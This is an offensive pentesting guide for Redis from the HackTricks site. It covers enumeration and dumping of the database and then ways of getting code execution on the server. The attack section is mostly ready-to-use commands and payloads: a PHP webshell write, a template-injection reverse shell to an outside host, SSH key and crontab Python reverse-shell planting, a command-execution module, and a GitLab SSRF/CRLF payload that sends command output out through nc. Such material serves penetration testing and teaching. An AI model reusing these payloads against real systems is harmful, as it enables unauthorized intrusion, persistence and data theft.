# 6379 - Pentesting Redis

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-ce8af1068db7be4ad9003f8ddb02fea8f943f1a4%2Farte.png?alt=media" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-ce8af1068db7be4ad9003f8ddb02fea8f943f1a4%2Farte.png?alt=media" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-54ee1fb931f39d1e6f50150361b6aa1927f4ee88%2Fgrte.png?alt=media" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-54ee1fb931f39d1e6f50150361b6aa1927f4ee88%2Fgrte.png?alt=media" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}

<figure><img src="https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-7ebaebfa37dac753bd916c91429befb49dfd6309%2Fimage%20(380).png?alt=media" alt=""><figcaption></figcaption></figure>

Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!

**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking

**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights

**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates

**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!

## Basic Information

From [the docs](https://redis.io/topics/introduction): Redis is an open source (BSD licensed), in-memory **data structure store**, used as a **database**, cache and message broker).

By default Redis uses a plain-text based protocol, but you have to keep in mind that it can also implement **ssl/tls**. Learn how to [run Redis with ssl/tls here](https://fossies.org/linux/redis/TLS.md).

**Default port:** 6379

```
PORT     STATE SERVICE  VERSION
6379/tcp open  redis   Redis key-value store 4.0.9
```

## Automatic Enumeration

Some automated tools that can help to obtain info from a redis instance:

```bash
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server
```

## Manual Enumeration

### Banner

Redis is a **text based protocol**, you can just **send the command in a socket** and the returned values will be readable. Also remember that Redis can run using **ssl/tls** (but this is very weird).

In a regular Redis instance you can just connect using `nc` or you could also use `redis-cli`:

```bash
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
```

The **first command** you could try is **`info`**. It **may return output with information** of the Redis instance **or something** like the following is returned:

```
-NOAUTH Authentication required.
```

In this last case, this means that **you need valid credentials** to access the Redis instance.

### Redis Authentication

**By default** Redis can be accessed **without credentials**. However, it can be **configured** to support **only password, or username + password**.\
It is possible to **set a password** in _**redis.conf**_ file with the parameter `requirepass` **or temporary** until the service restarts connecting to it and running: `config set requirepass p@ss$12E45`.\
Also, a **username** can be configured in the parameter `masteruser` inside the _**redis.conf**_ file.

{% hint style="info" %}
If only password is configured the username used is "**default**".\
Also, note that there is **no way to find externally** if Redis was configured with only password or username+password.
{% endhint %}

In cases like this one you will **need to find valid credentials** to interact with Redis so you could try to [**brute-force**](../../generic-methodologies-and-resources/brute-force#redis) it.\
**In case you found valid credentials you need to authenticate the session** after establishing the connection with the command:

```bash
AUTH <username> <password>
```

**Valid credentials** will be responded with: `+OK`

### **Authenticated enumeration**

If the Redis server permits **anonymous connections** or if you have obtained valid credentials, you can initiate the enumeration process for the service using the following **commands**:

```bash
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]
```

**Other Redis commands** [**can be found here**](https://redis.io/topics/data-types-intro) **and** [**here**](https://lzone.de/cheat-sheet/Redis)**.**

Note that the **Redis commands of an instance can be renamed** or removed in the _redis.conf_ file. For example this line will remove the command FLUSHDB:

```
rename-command FLUSHDB ""
```

More about configuring securely a Redis service here: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)

You can also **monitor in real time the Redis commands** executed with the command **`monitor`** or get the top **25 slowest queries** with **`slowlog get 25`**

Find more interesting information about more Redis commands here: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)

### **Dumping Database**

Inside Redis the **databases are numbers starting from 0**. You can find if anyone is used in the output of the command `info` inside the "Keyspace" chunk:

![](https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-ff43412dcf28b4192e1866bd85022d33f2c53f49%2Fimage%20\(766\).png?alt=media)

Or you can just get all the **keyspaces** (databases) with:

```
INFO keyspace
```

In that example the **database 0 and 1** are being used. **Database 0 contains 4 keys and database 1 contains 1**. By default Redis will use database 0. In order to dump for example database 1 you need to do:

```bash
SELECT 1
[ ... Indicate the database ... ]
KEYS * 
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]
```

In case you get the following error `-WRONGTYPE Operation against a key holding the wrong kind of value` while running `GET <KEY>` it's because the key may be something else than a string or an integer and requires a special operator to display it.

To know the type of the key, use the `TYPE` command, example below for list and hash keys.

```bash
TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]

# If the type used is weird you can always do:
DUMP <key>
```

**Dump the database with npm**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **or python** [**redis-utils**](https://pypi.org/project/redis-utils/)

<figure><img src="https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-7ebaebfa37dac753bd916c91429befb49dfd6309%2Fimage%20(380).png?alt=media" alt=""><figcaption></figcaption></figure>

Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!

**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking

**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights

**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates

**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!

## Redis RCE

### Interactive Shell

[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) can automatically get an interactive shell or a reverse shell in Redis(<=5.0.5).

```
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
```

### PHP Webshell

Info from [**here**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). You must know the **path** of the **Web site folder**:

```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK
```

​If the webshell access exception, you can empty the database after backup and try again, remember to restore the database.

### Template Webshell

Like in the previous section you could also overwrite some html template file that is going to be interpreted by a template engine and obtain a shell.

For example, following [**this writeup**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), you can see that the attacker injected a **rev shell in an html** interpreted by the **nunjucks template engine:**

```javascript
{{ ({}).constructor.constructor(
  "var net = global.process.mainModule.require('net'),
       cp = global.process.mainModule.require('child_process'),
       sh = cp.spawn('sh', []);
   var client = new net.Socket();
   client.connect(1234, 'my-server.com', function(){
      client.pipe(sh.stdin);
      sh.stdout.pipe(client);
      sh.stderr.pipe(client);
   });"
)()}}
```

{% hint style="warning" %}
Note that **several template engines cache** the templates in **memory**, so even if you overwrite them, the new one **won't be executed**. In this cases, either the developer left the automatic reload active or you need to do a DoS over the service (and expect that it will be relaunched automatically).
{% endhint %}

### SSH

Example [from here](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)

Please be aware **`config get dir`** result can be changed after other manually exploit commands. Suggest to run it first right after login into Redis. In the output of **`config get dir`** you could find the **home** of the **redis user** (usually _/var/lib/redis_ or _/home/redis/.ssh_), and knowing this you know where you can write the `authenticated_users` file to access via ssh **with the user redis**. If you know the home of other valid user where you have writable permissions you can also abuse it:

1. Generate a ssh public-private key pair on your pc: **`ssh-keygen -t rsa`**
2. Write the public key to a file : **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
3. Import the file into redis : **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
4.  Save the public key to the **authorized\_keys** file on redis server:

    ```
    root@Urahara:~# redis-cli -h 10.85.0.52
    10.85.0.52:6379> config set dir /var/lib/redis/.ssh
    OK
    10.85.0.52:6379> config set dbfilename "authorized_keys"
    OK
    10.85.0.52:6379> save
    OK
    ```
5. Finally, you can **ssh** to the **redis server** with private key : **ssh -i id\_rsa redis@10.85.0.52**

**This technique is automated here:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)

### Crontab

```
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
```

The last example is for Ubuntu, for **Centos**, the above command should be: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`

This method can also be used to earn bitcoin ：[yam](https://www.v2ex.com/t/286981#reply14)

### Load Redis Module

1. Following the instructions from [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) you can **compile a redis module to execute arbitrary commands**.
2. Then you need some way to **upload the compiled** module
3. **Load the uploaded module** at runtime with `MODULE LOAD /path/to/mymodule.so`
4. **List loaded modules** to check it was correctly loaded: `MODULE LIST`
5.  **Execute** **commands**:

    ```
    127.0.0.1:6379> system.exec "id"
    "uid=0(root) gid=0(root) groups=0(root)\n"
    127.0.0.1:6379> system.exec "whoami"
    "root\n"
    127.0.0.1:6379> system.rev 127.0.0.1 9999
    ```
6. Unload the module whenever you want: `MODULE UNLOAD mymodule`

### LUA sandbox bypass

[**Here**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) you can see that Redis uses the command **EVAL** to execute **Lua code sandboxed**. In the linked post you can see **how to abuse it** using the **dofile** function, but [apparently](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) this isn't no longer possible. Anyway, if you can **bypass the Lua** sandbox you could **execute arbitrary** commands on the system. Also, from the same post you can see some **options to cause DoS**.

Some **CVEs to escape from LUA**:

* [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543)

### Master-Slave Module

​The master redis all operations are automatically synchronized to the slave redis, which means that we can regard the vulnerability redis as a slave redis, connected to the master redis which our own controlled, then we can enter the command to our own redis.

```
master redis : 10.85.0.51 (Hacker's Server)
slave  redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
```

## SSRF talking to Redis

If you can send **clear text** request **to Redis**, you can **communicate with it** as Redis will read line by line the request and just respond with errors to the lines it doesn't understand:

```
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
```

Therefore, if you find a **SSRF vuln** in a website and you can **control** some **headers** (maybe with a CRLF vuln) or **POST parameters**, you will be able to send arbitrary commands to Redis.

### Example: Gitlab SSRF + CRLF to Shell

In **Gitlab11.4.7** were discovered a **SSRF** vulnerability and a **CRLF**. The **SSRF** vulnerability was in the **import project from URL functionality** when creating a new project and allowed to access arbitrary IPs in the form \[0:0:0:0:0:ffff:127.0.0.1] (this will access 127.0.0.1), and the **CRLF** vuln was exploited just **adding %0D%0A** characters to the **URL**.

Therefore, it was possible to **abuse these vulnerabilities to talk to the Redis instance** that **manages queues** from **gitlab** and abuse those queues to **obtain code execution**. The Redis queue abuse payload is:

```
 multi
 sadd resque:gitlab:queues system_hook_push
 lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
 exec
```

And the **URL encode** request **abusing SSRF** and **CRLF** to execute a `whoami` and send back the output via `nc` is:

```
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```

_For some reason (as for the author of_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _where this info was took from) the exploitation worked with the `git` scheme and not with the `http` scheme._

<figure><img src="https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-7ebaebfa37dac753bd916c91429befb49dfd6309%2Fimage%20(380).png?alt=media" alt=""><figcaption></figcaption></figure>

Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!

**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking

**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights

**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates

**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-ce8af1068db7be4ad9003f8ddb02fea8f943f1a4%2Farte.png?alt=media" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-ce8af1068db7be4ad9003f8ddb02fea8f943f1a4%2Farte.png?alt=media" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-54ee1fb931f39d1e6f50150361b6aa1927f4ee88%2Fgrte.png?alt=media" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-54ee1fb931f39d1e6f50150361b6aa1927f4ee88%2Fgrte.png?alt=media" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}
